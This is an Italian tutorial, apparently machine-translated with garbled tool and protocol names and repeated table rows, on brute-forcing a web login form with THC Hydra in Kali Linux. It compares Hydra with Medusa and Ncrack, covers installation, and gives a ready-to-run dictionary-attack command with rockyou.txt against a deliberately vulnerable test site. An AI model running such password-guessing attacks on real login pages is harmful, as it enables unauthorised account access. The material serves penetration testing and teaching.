Crack pagina di accesso basata sul Web con Hydra in Kali Linux
Una password è tecnicamente definita come una stringa segreta di caratteri utilizzata per autenticare o accedere alle risorse. Deve essere tenuto segreto e nascosto ad altri a cui non è consentito accedere a tali risorse. Le password sono state utilizzate con i computer fin dai primi giorni dell'informatica. Uno dei primi sistemi di condivisione, è stato introdotto nel 1961. Aveva un comando di accesso che richiedeva una password utente. Dopo aver digitato “PASSWORD”, il sistema spegne, se possibile, il m
eccanismo di stampa, in modo che l'utente possa digitare la propria password con riservatezza.
La forza di una password è una funzione della lunghezza, della complessità e dell'imprevedibilità. Misura l'efficacia nel resistere a indovinare o romperlo. Le password deboli, d'altra parte, accorciano il tempo necessario per indovinare e ottenere l'accesso a e-mail personali/aziendali, dati sensibili come informazioni finanziarie, informazioni aziendali, carte di credito, ecc.
Ci sono molti modi in cui una password può essere debole, corrispondenti ai punti di forza dei vari schemi di attacco. Il più popolare di questo tipo di attacco alle credenziali è la forza bruta. è un metodo di prova ed errore come indovinare, tentare di decodificare dati crittografati come password o crittografia dei dati utilizzata dal programma applicativo o dallo "strumento di hacking".
Hydra è il cracker di accesso alla rete più veloce che supporta numerosi protocolli di attacco. È molto veloce e flessibile e i nuovi moduli sono facili da aggiungere. Questo strumento consente a ricercatori e consulenti di sicurezza di mostrare quanto sarebbe facile ottenere l'accesso non autorizzato a un sistema da remoto. Hydra è stato scritto da van Hauser ed è inoltre supportato da David Maciejak. Nell'ultimo aggiornamento, lo sviluppo di hydra è stato spostato nel repository github pubblico all'indirizzo: https://github.com/vanhauser-thc/thc-hydra.
Hydra è stato testato per compilare su Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry ed è reso disponibile sotto GPLv3 con una speciale espansione della licenza OpenSSL.
THC Hydra supporta questi protocolli: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 e v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC e XMPP.
CONFRONTO DI HYDRA CON ALTRI STRUMENTI DI FRENATURA
Ci sono anche molti strumenti per cracker di login oltre a hydra, tuttavia nessuno supporta un enorme elenco di protocolli e supporto per cracker di login parallelizzato come fa Hydra. Le tabelle seguenti mostrano il risultato di funzionalità, servizi e confronto di velocità con medusa e ncrack.
Caratteristiche
Caratteristica | Idra | Medusa | Ncrack |
Licenza | AGPLv3 | GPLv2 | Termini GPLv2 + Nmap |
Supporto IPv6 | sì | No | No |
Interfaccia utente grafica | sì | sì | No |
Supporto internazionalizzato (RFC 4013) | sì | No | No |
Supporto proxy HTTP | sì | sì | No |
Supporto proxy SOCKS | sì | No | No |
Protocolli supportati | 51 | 22 | 7 |
Servizi
Crack pagina di accesso basata sul Web con
Servizio | Particolari | Idra | Medusa | Ncrack | |
ADAM-6500 | sì | No | No | ||
AFP | sì | sì | No | ||
Asterisco | sì | No | No | ||
Password Cisco | sì | No | No | ||
Cisco Enable | sì | No | No | ||
CVS | sì | sì | No | ||
Firebird | sì | No | No | ||
FTP | sì | sì | sì | ||
Supporto SSL | AUTH TLS e FTP su SSL | AUTH TLS e FTP su SSL | No | ||
HTTP | Metodo/i | GET, TESTA, POST | OTTENERE | OTTENERE | |
Autenticazione di base | sì | sì | sì | ||
Modulo HTTP | Metodo/i | GET, POST | GET, POST | No | |
Supporto SSL | HTTPS | HTTPS | No | ||
Proxy HTTP | Autenticazione di base | sì | No | No | |
DIGEST-MD5 Aut | sì | No | No | ||
Autenticazione NTLM | sì | No | No | ||
Supporto SSL | HTTPS | No | No | ||
Enumerazione URL PROXY HTTP | sì | No | No | ||
ICQ | v5 | Sì 1 | No | No | |
IMAP | LOGIN supporto | sì | sì | No | |
ACCESSO AUTOMATICO supporto | sì | No | No | ||
Supporto AUTH PLAIN | sì | sì | No | ||
Supporto AUTH CRAM-MD5 | sì | No | No | ||
Supporto AUTH CRAM-SHA1 | sì | No | No | ||
Supporto AUTH CRAM-SHA256 | sì | No | No | ||
Supporto AUTH DIGEST-MD5 | sì | No | No | ||
AUTH supporto NTLM | sì | sì | No | ||
Supporto AUTH SCRAM-SHA1 | sì | No | No | ||
Supporto SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | No | ||
IRC | Password generale del server | sì | No | No | |
Password modalità OPER | sì | No | No | ||
LDAP | v2, supporto semplice | sì | No | No | |
v3, supporto semplice | sì | No | No | ||
v3, supporto AUTH CRAM-MD5 | sì | No | No | ||
Supporto AUTH DIGEST-MD5 | sì | ||||
AUTH supporto NTLM | sì | sì | |||
Supporto AUTH SCRAM-SHA1 | sì | ||||
Supporto SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | |||
IRC | Password generale del server | sì | |||
Password modalità OPER | sì | ||||
LDAP | v2, supporto semplice | sì | |||
v3, supporto semplice | sì | ||||
v3, supporto AUTH CRAM-MD5 | sì | ||||
v3, supporto AUTH DIGEST-MD5 | sì | ||||
MS-SQL | sì | sì | |||
MySQL | v3.x | sì | sì | ||
v4.x | sì | sì | |||
v5.x | sì | sì | |||
PCN | sì | sì | |||
NNTP | Supporto UTENTE | sì | sì | ||
ACCESSO AUTOMATICO supporto | sì | ||||
Supporto AUTH PLAIN | sì | ||||
Supporto AUTH CRAM-MD5 | sì | ||||
Supporto AUTH DIGEST-MD5 | sì | ||||
AUTH supporto NTLM | sì | ||||
Supporto SSL | STARTTLS e NNTP su SSL | ||||
Oracolo | Banca dati | sì | sì | ||
Ascoltatore TNS | sì | ||||
Enumerazione SID | sì | ||||
PC-NFS | sì | ||||
pcAnywhere | Autenticazione nativa | sì | sì | ||
Autenticazione basata sul sistema operativo (MS) | sì | ||||
POP3 | Supporto UTENTE | sì | sì | sì | |
Supporto APOP | sì | ||||
ACCESSO AUTOMATICO supporto | sì | sì | |||
Supporto AUTH PLAIN | sì | sì | |||
Supporto AUTH CRAM-MD5 | sì | ||||
Supporto AUTH CRAM-SHA1 | sì | ||||
Supporto AUTH CRAM-SHA256 | sì | ||||
Supporto AUTH DIGEST-MD5 | sì | ||||
AUTH supporto NTLM | sì | sì | |||
Supporto SSL | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | ||
PostgreSQL | sì | sì | |||
Asterisco | sì | ||||
RDP | Windows Workstation | sì | sì | sì | |
Windows Server | sì | sì | |||
Autenticazione dominio | sì | sì | |||
REDIS | sì | No | |||
REXEC | sì | sì | |||
RLOGIN | sì | sì | |||
RPCAP | sì | No | |||
RSH | sì | sì | |||
RTSP | sì | No | |||
SAP R/3 | sì | ||||
Siemens S7-300 | sì | ||||
SORSO | sì | ||||
Supporto SSL | SIP su SSL | ||||
PMI | Modalità NetBIOS | sì | sì | No | |
Modalità nativa W2K | sì | sì | sì | ||
Modalità hash | sì | sì | No | ||
Autenticazione testo chiaro | sì | sì | |||
Autorizzazione LMv1 | sì | sì | sì | ||
Autorizzazione LMv2 | sì | sì | sì | ||
Autenticazione NTLMv1 | sì | sì | sì | ||
Autenticazione NTLMv2 | sì | sì | sì | ||
SMTP | ACCESSO AUTOMATICO supporto | sì | sì | ||
Supporto AUTH PLAIN | sì | sì | |||
Supporto AUTH CRAM-MD5 | sì | ||||
Supporto AUTH DIGEST-MD5 | sì | ||||
AUTH supporto NTLM | sì | sì | |||
Supporto SSL | SMTP e STARTTLS | SMTP e STARTTLS | |||
Enumerazione utente SMTP | cmd VRfy | sì | sì | ||
EXPN cmd | sì | sì | |||
RCPT TO cmd | sì | sì | |||
SNMP | v1 | sì | sì | ||
v2c | sì | sì | |||
v3 | (solo autenticazione MD5/SHA1) | ||||
CALZINI | v5, autenticazione password | sì | |||
SSH | v1 | sì | |||
v2 | sì | sì | sì | ||
Chiavi SSH | v1, v2 | sì | |||
Sovversione (SVN) | sì | sì | |||
TeamSpeak | TS2 | sì | |||
Telnet | sì | sì | sì | ||
XMPP | ACCESSO AUTOMATICO supporto | sì | |||
Supporto AUTH PLAIN | sì | ||||
Supporto AUTH CRAM-MD5 | sì | ||||
Supporto AUTH DIGEST-MD5 | sì | ||||
Supporto AUTH SCRAM-SHA1 | sì | ||||
Demone di autenticazione VMware | v1.00 / v1.10 | sì | sì | ||
Supporto SSL | sì | sì | |||
VNC | Supporto per password RFB 3.x | sì | sì | ||
RFB 3.x supporto utente+password | (solo UltraVNC) | ||||
Supporto per password RFB 4.x | sì | sì | |||
RFB 4.x supporto utente+password | (solo UltraVNC) |
Confronto velocità
Velocità (in s) | Idra | Medusa | Ncrack |
1 Task / Modulo FTP | 11.93 | 12.97 | 18.01 |
4 Compiti / Modulo FTP | 4.20 | 5.24 | 9.01 |
16 Compiti / Modulo FTP | 2.44 | 2.71 | 12.01 |
1 modulo Task/SSH v2 | 32.56 | 33.84 | 45.02 |
4 Compiti / Modulo SSH v2 | 10,95 | Rotte | perse |
16 Compiti / Modulo SSH v2 | 5.14 | Rotte | perse |
Quella era una breve e semplice introduzione all'idra. Passiamo ora all'installazione.
INSTALLAZIONE DELL'IDRA
Hydra è preinstallato su kali linux, tuttavia se hai un sistema operativo diverso puoi compilarlo e installarlo sul tuo sistema. Attualmente, il supporto di Hydra su diverse piattaforme:
- Tutte le piattaforme UNIX (Linux, *bsd, Solaris, ecc.)
- MacOS (fondamentalmente un clone BSD)
- Windows con Cygwin (sia IPv4 che IPv6)
- Sistemi mobili basati su Linux, MacOS o QNX (es. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Per scaricare, configurare, compilare e installare idra, basta digitare nel terminale:
cd thc-hydra |
./configure |
make |
make install |
Se hai Ubuntu/Debian avrai bisogno di alcune librerie di dipendenze:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev |
Se non riesci a trovare quelle librerie nel tuo repository, devi scaricarle e installarle manualmente.
COME USARE HYDRA
Congratulazioni, ora sei riuscito a installare Hydra sul tuo sistema. In realtà, Hydra ha due versioni, GUI-gtk e la mia versione preferita, CLI. e inoltre hydra ha anche una versione guidata da CLI, chiamata "hydra-wizard". Sarai guidato passo dopo passo invece di digitare manualmente tutti i comandi o gli argomenti nel terminale. Per eseguire Hydra, dal tuo terminale digita:
Per CLI:
hydra |
Per la procedura guidata CLI:
hydra-wizard |
Per l'interfaccia grafica:
xhydra |
Dopo aver digitato 'hydra' verranno visualizzati i comandi di aiuto come questo:
root@kali :~# idra -h
Hydra v8.6 (c)2017 di van Hauser/THC e David Maciejak - solo per scopi legali
Sintassi: idra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t ATTIVITÀ] [-M FILE [-T ATTIVITÀ]] [-w TEMPO] [-W TEMPO] [-f] [-s PORTA] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
Opzioni:
-R ripristina una sessione precedente interrotta/arrestata in modo anomalo
-S eseguire una connessione SSL
-s PORT se il servizio si trova su una porta predefinita diversa, definiscilo qui
-l LOGIN o -L FILE login con nome LOGIN, o carica più login da FILE
-p PASS o -P FILE prova password PASS o carica più password da FILE
-x MIN:MAX:CHARSET password generazione forza bruta, digita "-x -h" per ottenere aiuto
-e nsr prova "n" password nulla, "s" login come pass e/o "r" login invertito
-u gira intorno agli utenti, non alle password (efficace! implicato con -x)
-C FILE formato "login:pass" separato da due punti, invece delle opzioni -L/-P
-M FILE elenco dei server da attaccare in parallelo, una voce per riga
-o FILE scrive le coppie login/password trovate su FILE invece che su stdout
-f / -F esce quando viene trovata una coppia login/pass (-M: -f per host, -F globale)
-t TASKS esegue TASKS numero di connessioni in parallelo (per host, predefinito: 16)
-w / -W TIME tempo di attesa per le risposte (32s) / tra le connessioni per thread
-4 / -6 preferiscono indirizzi IPv4 (predefinito) o IPv6
-v / -V / -d modalità dettagliata / mostra login+pass per ogni tentativo / modalità debug
-U dettagli sull'utilizzo del modulo di servizio
server il server di destinazione (usa questa OPPURE l'opzione -M)
servire il servizio per craccare (vedi sotto per i protocolli supportati)
OPT alcuni moduli di servizio supportano input aggiuntivi (-U per la guida del modulo)
Servizi supportati: asterisco afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2 [s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-e calzini5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra è uno strumento per indovinare/craccare coppie di login/password valide - solo l'utilizzo è consentito
per scopi legali. Questo strumento è concesso in licenza con AGPL v3.0.
La versione più recente è sempre disponibile su http://www.thc.org/thc-hydra
Questi servizi non sono stati compilati in: sapr3 oracle.
Usa HYDRA_PROXY_HTTP o HYDRA_PROXY - e se necessario HYDRA_PROXY_AUTH - ambiente per una configurazione proxy.
Es: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (o socks4:// o connect://)
% esportazione HYDRA_PROXY_HTTP=http://proxy:8080
% export HYDRA_PROXY_AUTH=utente:pass
Esempi:
idra -l utente -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
idra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
idra -l admin -p password ftp://[192.168.0.0/24]/
idra -L logins.txt -P pws.txt -M target.txt ssh
Accesso basato sul Web Bruteforce con idra
Hydra supporta alcuni servizi di forzatura bruta come ho detto prima, uno di questi è utilizzato per forzare gli accessi basati sul Web come il modulo di accesso ai social media, il modulo di accesso al banking utente, l'accesso basato sul web del router, ecc. Quel "http[s]-{get |post}-form” che gestirà questa richiesta. In questo tutorial ti mostrerò come forzare con la forza bruta gli accessi web vulnerabili. Prima di avviare l'idra, dovremmo conoscere alcuni argomenti necessari come di seguito:
- Destinazione : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Nome utente di accesso : admin (se non sei sicuro, forza bruta questo)
- Elenco delle password : "La posizione dell'elenco dei file del dizionario contenente le possibili password".
- Parametri del modulo : “in generale, utilizzare i dati di manomissione o il proxy per ottenere i parametri del modulo di richiesta. Ma qui sto usando iceweasel, basato su Firefox, barra degli strumenti per sviluppatori di rete.
- Modulo di servizio : http-post-form
Aiuto per il modulo http-post-form:
================================================== ==========================
Il modulo http-post-form richiede la pagina ei parametri per il modulo web.
Per impostazione predefinita questo modulo è configurato per seguire un massimo di 5 reindirizzamenti in
una riga. Raccoglie sempre un nuovo cookie dallo stesso URL senza variabili
I parametri accettano tre valori separati da ":", più valori facoltativi.
(Nota: se hai bisogno di due punti nella stringa dell'opzione come valore, esegui l'escape con "\:",
ma non eseguire l'escape di un "\" con "\\".)
Sintassi:
[url]:[parametri modulo]:[stringa condizione][:(facoltativo)[:(facoltativo)]
La prima è la pagina sul server su cui OTTENERE o POST su (URL).
Il secondo sono le variabili POST/GET (prese dal browser, dal proxy, ecc.
con nomi utente e password sostituiti in "^USER^" e "^PASS^"
segnaposto (FORM PARAMETERS) Terza è la stringa che controlla per un login *non valido* (per impostazione predefinita)
Il controllo della condizione di accesso non valido può essere preceduto da "F=",
Il controllo di accesso della condizione di successo deve essere preceduto da "S=".
È qui che la maggior parte delle persone sbaglia. Devi controllare l'app web come appare una stringa non riuscita
e mettilo in questo parametro! I seguenti parametri sono facoltativi:
C=/page/uri per definire una pagina diversa da cui raccogliere i cookie iniziali
(h|H)=My-Hdr\: pippo per inviare un'intestazione HTTP definita dall'utente con ogni richiesta ^USER^ e ^PASS^
può anche essere inserito in queste intestazioni!
Nota: 'h' aggiungerà l'intestazione definita dall'utente alla fine indipendentemente dal fatto che sia già stata inviata da Hydra o meno.
'H' sostituirà il valore di quell'intestazione, se esiste, con quello fornito dall'utente,
o aggiungi l'intestazione alla fine Nota che se intendi inserire i due punti (:)
nelle tue intestazioni dovresti evitarle con una barra rovesciata (\).
Tutti i due punti che non sono separatori di opzioni devono essere sottoposti a escape (vedere gli esempi sopra e sotto).
Puoi specificare un'intestazione senza eseguire l'escape dei due punti, ma in questo modo non sarai in grado di inserire i due punti
nel valore dell'intestazione stessa, poiché verranno interpretati da idra come separatori di opzioni.
Ottenere i parametri dei post tramite browser, iceweasel/firefox
Nel tuo browser Firefox premi i tasti " CTRL + MAIUSC + Q ". Quindi apri la pagina di accesso web http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F , noterai che un testo appare nella scheda dello sviluppatore di rete. Ti dice quali file ci vengono trasferiti. Vedi il metodo tutti sono GET, dal momento che non abbiamo ancora POST alcun dato.
Per ottenere i parametri del post-form, digitare qualunque cosa nel form username e/o password. Noterai un nuovo metodo POST nella scheda sviluppatore di rete. Fare doppio clic su quella riga, nella scheda "Intestazioni" fare clic sul pulsante "Modifica e reinvia" sul lato destro. Nel corpo della richiesta copia l'ultima riga, ad esempio "tfUName=asu&tfUPass=raimu" . il "tfUName" e "tfUPass" sono i parametri di cui abbiamo bisogno. Come visto di seguito:
Kali Linux ha un sacco di elenchi di parole, scegli l'elenco di parole appropriato o usa semplicemente rockyou.txt in /usr/share/wordlists/ come mostrato di seguito:
Bene, ora abbiamo tutti gli argomenti di cui abbiamo bisogno e siamo pronti per accendere l'idra. Ecco lo schema del comando:
hydra -l <nome utente> -P <elenco password> <nome host di destinazione> <modulo di servizio> <parametri richiesta post>[/codice]
Infine, in base alle informazioni che abbiamo raccolto, i nostri comandi dovrebbero assomigliare a questo:
hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form "/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS ^:S=logout" -vV -f
Analizziamo i comandi:
- l <nomeutente> : è una parola che contiene account utente, utilizzare -L <FILE> per fare riferimento all'elenco di possibili nomi utente in un file.
- P <FILE> : è un elenco di file di possibili password, usa -p <password> per usare letteralmente una parola password invece di indovinarla.
- testapp.vunlwebapp.com : è un nome host o un target
- http-post-form : è il modulo di servizio che utilizziamo
- “/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout” = i 3 parametri necessari, la sintassi è:
{URL pagina}:{Richiesta modulo corpo post parametri}:S={Trova qualsiasi cosa nella pagina dopo aver effettuato l'accesso} - v = Modalità dettagliata
- V = mostra login: passa per ogni tentativo
- f = Termina il programma se viene trovata la coppia login:password
Ora lascia che Hydra provi a rompere la password per noi, ha bisogno di tempo poiché è un attacco di dizionario. Una volta che sei riuscito a trovare una coppia di login:password, idra terminerà immediatamente il lavoro e mostrerà le credenziali valide.
C'è così tanto che hydra potrebbe fare, poiché in questo tutorial abbiamo appena imparato a forzare l'accesso basato sul web usando hydra, impariamo solo un protocollo, ovvero il protocollo http-post-form. Possiamo anche usare hydra contro un altro protocollo come ssh, ftp, telnet, VNC, proxy, ecc.
Commenti